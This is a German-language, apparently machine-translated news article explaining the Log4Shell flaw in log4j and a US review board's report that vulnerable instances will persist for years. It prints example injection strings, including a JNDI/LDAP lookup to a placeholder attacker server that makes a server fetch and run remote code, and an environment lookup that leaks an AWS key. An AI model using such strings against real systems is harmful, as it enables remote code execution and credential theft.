8 Monate später sagen die USA, dass Log4Shell „ein Jahrzehnt oder länger“ bestehen wird

Merken Log4Shell?

Es war ein gefährlicher Fehler in einem beliebten Open-Source-Java-Programmier-Toolkit namens log4j, kurz für „Logging for Java“, veröffentlicht von der Apache Software Foundation unter einer liberalen, kostenlosen Quellcodelizenz.

Wenn Sie jemals Software jeglicher Art geschrieben haben, von der einfachsten BAT-Datei auf einem Windows-Laptop bis hin zur knorrigsten Mega-Anwendung, die auf einem ganzen Rack von Servern läuft, haben Sie Protokollierungsbefehle verwendet.

Von der Grundausgabe wie z echo "Starting calculations (this may take a while)" auf dem Bildschirm ausgedruckt, bis hin zu formellen Nachrichten, die aus Audit- oder Compliance-Gründen in einer einmal beschreibbaren Datenbank gespeichert werden, ist die Protokollierung ein wesentlicher Bestandteil der meisten Programme, insbesondere wenn etwas kaputt geht und Sie eine klare Aufzeichnung darüber benötigen, wie weit Sie zuvor gekommen sind das Problem traf.

Die Log4Shell Verwundbarkeit (eigentlich stellte sich heraus, dass es mehrere verwandte Probleme gab, aber wir werden sie der Einfachheit halber hier alle so behandeln, als wären sie ein großes Problem) entpuppte sich halb als Fehler, halb als Funktion.

Mit anderen Worten, Log4j hat das getan, was im Handbuch steht, im Gegensatz zu einem Fehler wie einem Pufferüberlauf, bei dem das angreifende Programm fälschlicherweise versucht, mit Daten herumzuspielen, von denen es versprochen hatte, dass es in Ruhe bleiben würde …

… aber wenn Sie das Handbuch nicht wirklich sorgfältig gelesen und selbst zusätzliche Vorsichtsmaßnahmen getroffen haben, indem Sie Log4j eine Ebene sorgfältiger Eingabeüberprüfung hinzugefügt haben, könnte Ihre Software ausfallen.

Wirklich, schlecht, völlig losgelöst.

Interpolation als schädlich angesehen

Einfach ausgedrückt, Log4j hat Protokollmeldungen nicht immer genau so aufgezeichnet, wie Sie sie bereitgestellt haben.

Stattdessen hatte es ein „Feature“, das im Fachjargon verschiedentlich und verwirrend als bezeichnet wird Interpolation, Befehlsersetzung or automatisches Umschreiben, sodass Sie Textbearbeitungsfunktionen innerhalb des Protokollierungsdienstprogramms selbst auslösen können, ohne dafür eigenen speziellen Code schreiben zu müssen.

Beispielsweise würde der Text in der INPUT-Spalte unten wörtlich protokolliert, genau so, wie Sie ihn sehen, was Sie wahrscheinlich von einem Protokollierungs-Toolkit erwarten würden, insbesondere wenn Sie eine genaue Aufzeichnung der von Ihren Benutzern präsentierten Eingabedaten führen möchten aus regulatorischen Gründen:

EINGABE ERGEBNIS ----------------------- ------------------------ BENUTZERNAME =ente -> BENUTZERNAME=ente Caller-ID:555-555-5555 -> Caller-ID:555-555-5555 Aktuelle Version = 17.0.1 -> Aktuelle Version = 17.0.1

Aber wenn Sie Text eingereicht haben, der in die magische Zeichenfolge eingeschlossen ist ${...}, machte der Logger manchmal schlaue Dinge damit, nachdem er den Text erhalten hatte, aber bevor er tatsächlich in die Logdatei schrieb, wie folgt:

EINGABE ERGEBNIS --------------------------------- -------------- ----------------------------- CURRENT=${java:version}/${java:os} -> CURRENT=Java-Version 17.0.1/Windows 10 10.0 Serverkonto ist: ${env:USER} -> Serverkonto ist: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

Wenn Sie Logging-Text aus einer vertrauenswürdigen Quelle akzeptieren, wo es vernünftig ist, dem Loggee zu erlauben, den Logger zu steuern, indem er ihm sagt, dass er Klartext durch interne Daten ersetzen soll, ist diese Art der Textumschreibung natürlich nützlich.

Aber wenn es Ihr Ziel ist, Daten zu verfolgen, die von einem entfernten Benutzer übermittelt wurden, vielleicht für behördliche Aufzeichnungszwecke, ist diese Art des automatischen Umschreibens doppelt gefährlich:

• Im Streitfall Sie haben keine zuverlässigen Aufzeichnungen darüber, was der Benutzer tatsächlich übermittelt hat, da es zwischen Eingabe und Ausgabe möglicherweise geändert wurde.
• Ein böswilliger Benutzer könnte hinterhältig konstruierte Eingaben senden um Ihren Server dazu zu bringen, etwas zu tun, was er nicht tun sollte.

Wenn Sie Benutzereingaben protokollieren, wie z. B. ihre Browser-Identifikationszeichenfolge (im Fachjargon als User-Agent) oder ihren Benutzernamen oder ihre Telefonnummer, möchten Sie dem Benutzer nicht die Möglichkeit geben, Sie dazu zu bringen, private Daten (z.

Vor allem, wenn Sie Ihren Wirtschaftsprüfern oder der Regulierungsbehörde selbstbewusst gesagt haben, dass Sie niemals Klartext-Passwörter in einen dauerhaften Speicher schreiben. (Du sollte das nicht tun, auch wenn Sie der Aufsichtsbehörde nicht offiziell mitgeteilt haben, dass Sie dies nicht tun!)

Schlimmer noch

Im Log4Shell-Ist-es-ein-Bug-oder-ist-es-ein-Feature-Fall waren die Dinge jedoch viel schlimmer als in den ohnehin schon riskanten Beispielen, die wir oben gezeigt haben.

Beispielsweise könnte ein Benutzer, der absichtlich Daten wie die unten gezeigte Eingabe übermittelt hat, eine wirklich gefährliche Abfolge von Ereignissen auslösen:

EINGABE ERGEBNIS ------------------------------------------------ ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> Laden Sie ein Remote-Java-Programm herunter und führen Sie es aus!?

In der obigen Zeichenfolge „Interpolation“ wird die ${...} Zeichenfolge, die die Abkürzungen enthält jndi und ldap wies Log4j an, dies zu tun:

• Verwenden Sie das Java Naming and Directory Interface (JNDI) zu finden dodgy.server.example online.
• Verbinden Sie sich mit diesem Server über LDAP, über den TCP-Port 8888.
• Fordern Sie die Daten an im LDAP-Objekt gespeichert BadThing.

Mit anderen Worten, Angreifer könnten speziell gestaltete Eingaben übermitteln, die Ihren Server anweisen würden, „zu Hause anzurufen“. an einen Server unter ihrer Kontrolle, ohne so viel wie ein by-your-leave.

Wie könnte das ein „Feature“ sein?

Sie fragen sich vielleicht, wie ein solches „Feature“ es jemals in den Log4j-Code geschafft hat.

Aber diese Art der Textumschreibung kann nützlich sein, solange Sie Daten aus einer vertrauenswürdigen Quelle protokollieren.

Beispielsweise könnten Sie eine numerische Benutzer-ID protokollieren, aber auch den Logger bitten, LDAP (die leichtgewichtiges Verzeichniszugriffsprotokoll, weit verbreitet in der Branche, einschließlich des Active Directory-Systems von Microsoft), um den Benutzernamen abzurufen und zu speichern, der zu diesem Zeitpunkt mit dieser Kontonummer verknüpft war.

Dies würde sowohl die Lesbarkeit als auch den historischen Wert des Eintrags im Logfile verbessern.

Aber der LDAP-Server, den Log4j im obigen Beispiel aufgerufen hat (der vom Remote-Benutzer ausgewählt wurde, nicht vergessen), wird die Wahrheit wahrscheinlich nicht kennen, geschweige denn sagen, und ein böswilliger Benutzer könnte daher diesen Trick verwenden Ihre Protokolle mit falschen und sogar rechtlich zweifelhaften Daten.

Noch schlimmer, der LDAP-Server könnte vorkompilierten Java-Code zum Generieren der zu protokollierenden Daten zurückgeben, und Ihr Server würde dieses Programm pflichtbewusst ausführen – ein unbekanntes Programm, das von einem nicht vertrauenswürdigen Server bereitgestellt und von einem nicht vertrauenswürdigen Benutzer ausgewählt wurde.

Grob gesagt, wenn irgendein Server irgendwo in Ihrem Netzwerk nicht vertrauenswürdige Eingaben protokolliert, die von außen gekommen sind, und Log4j verwendet hat, um dies zu tun …

…dann könnte diese Eingabe als direkter und sofortiger Weg verwendet werden, um Ihren Server dazu zu bringen, den Code eines anderen auszuführen, einfach so.

Das heißt RCE im Fachjargon kurz für Remote-Code-Ausführung, und RCE-Bugs werden im Allgemeinen von Cyberkriminellen am eifrigsten gesucht, da sie normalerweise ausgenutzt werden können, um Malware automatisch einzuschleusen.

Leider bedeutete die Art dieses Fehlers, dass die Gefahr nicht auf mit dem Internet verbundene Server beschränkt war, also in C geschriebene Webserver und nicht Java (z. B. IIS, Apache https, nginx) verwendete und daher selbst den Buggy nicht verwendete Log4j-Code hat Sie nicht vom Risiko befreit.

Theoretisch jede Back-End-Java-App, die Daten von anderen Stellen in Ihrem Netzwerk empfangen und protokolliert hat und die die Log4j-Bibliothek verwendet hat …

…könnte möglicherweise von externen Angreifern erreicht und ausgenutzt werden.

Die Lösung war ziemlich einfach:

• Finden Sie alte Versionen von Log4j überall und überall in Ihrem Netzwerk. Java-Module haben normalerweise Namen wie log4j-api-2.14.0.jar und log4j-core-2.14.0.jar, Wobei jar ist die Abkürzung für Java-Archiv, eine speziell strukturierte Art von ZIP-Datei. Mit einem durchsuchbaren Präfix, einer eindeutigen Erweiterung und der in den Dateinamen eingebetteten Versionsnummer ist das schnelle Auffinden anstößiger Dateien mit „den falschen“ Versionen des Java-Bibliothekscodes eigentlich ziemlich einfach.
• Ersetzen Sie die fehlerhaften Versionen mit neueren, gepatchten.
• Wenn Sie nicht in der Lage waren, die Log4J-Version zu ändern, Sie könnten das Risiko verringern oder beseitigen, indem Sie ein einzelnes Codemodul aus dem fehlerhaften Log4j-Paket (dem Java-Code, der JNDI-Lookups verarbeitet, wie oben beschrieben) entfernen und Ihre eigene abgespeckte JAR-Datei mit unterdrücktem Fehler neu packen.

Die Saga geht weiter

Leider ist eine neuere, detaillierten Bericht zur Log4Shell-Saga, die letzte Woche von den USA veröffentlicht wurde Überprüfungsgremium für Cybersicherheit (CSRB), Teil des Department of Homeland Security, enthält den besorgniserregenden Vorschlag (unsere Hervorhebung unten), dass:

[D]e Log4j-Veranstaltung ist noch nicht vorbei. Der [CSRB] geht davon aus, dass Log4j eine „endemische Schwachstelle“ ist und dass anfällige Instanzen von Log4j noch viele Jahre in Systemen verbleiben werden, vielleicht ein Jahrzehnt oder länger. Es bleibt ein erhebliches Risiko.

Was ist zu tun?

Auf 42 Seiten (allein die Zusammenfassung umfasst fast drei Seiten) ist die Bericht des Vorstandes ist ein langes Dokument, und Teile davon sind schwergängig.

Aber wir empfehlen Ihnen, es durchzulesen, denn es ist eine faszinierende Geschichte darüber, wie sogar Cybersicherheitsprobleme, die schnell und einfach zu beheben sein sollten, ignoriert oder auf später verschoben oder so gut wie komplett geleugnet werden können wie „jemand anderes“. Problem“ zu beheben.

Zu den bemerkenswerten Vorschlägen des öffentlichen Dienstes der USA, die wir von ganzem Herzen unterstützen, gehören:

• Entwickeln Sie die Fähigkeit, ein genaues Informationstechnologie-(IT)-Asset- und Anwendungsinventar zu führen.
• [Einrichten] dokumentiert Programm zur Reaktion auf Schwachstellen.
• [Richten Sie einen] dokumentierten Prozess zur Offenlegung und Handhabung von Schwachstellen ein.

Wenn es um Cybersicherheit geht, fragen Sie nicht, was alle anderen für Sie tun können …

…aber denken Sie darüber nach, was Sie für sich selbst tun können, denn jede Verbesserung, die Sie vornehmen, wird es mit ziemlicher Sicherheit tun allen anderen zugute kommen .

---

[Eingebetteten Inhalt]

---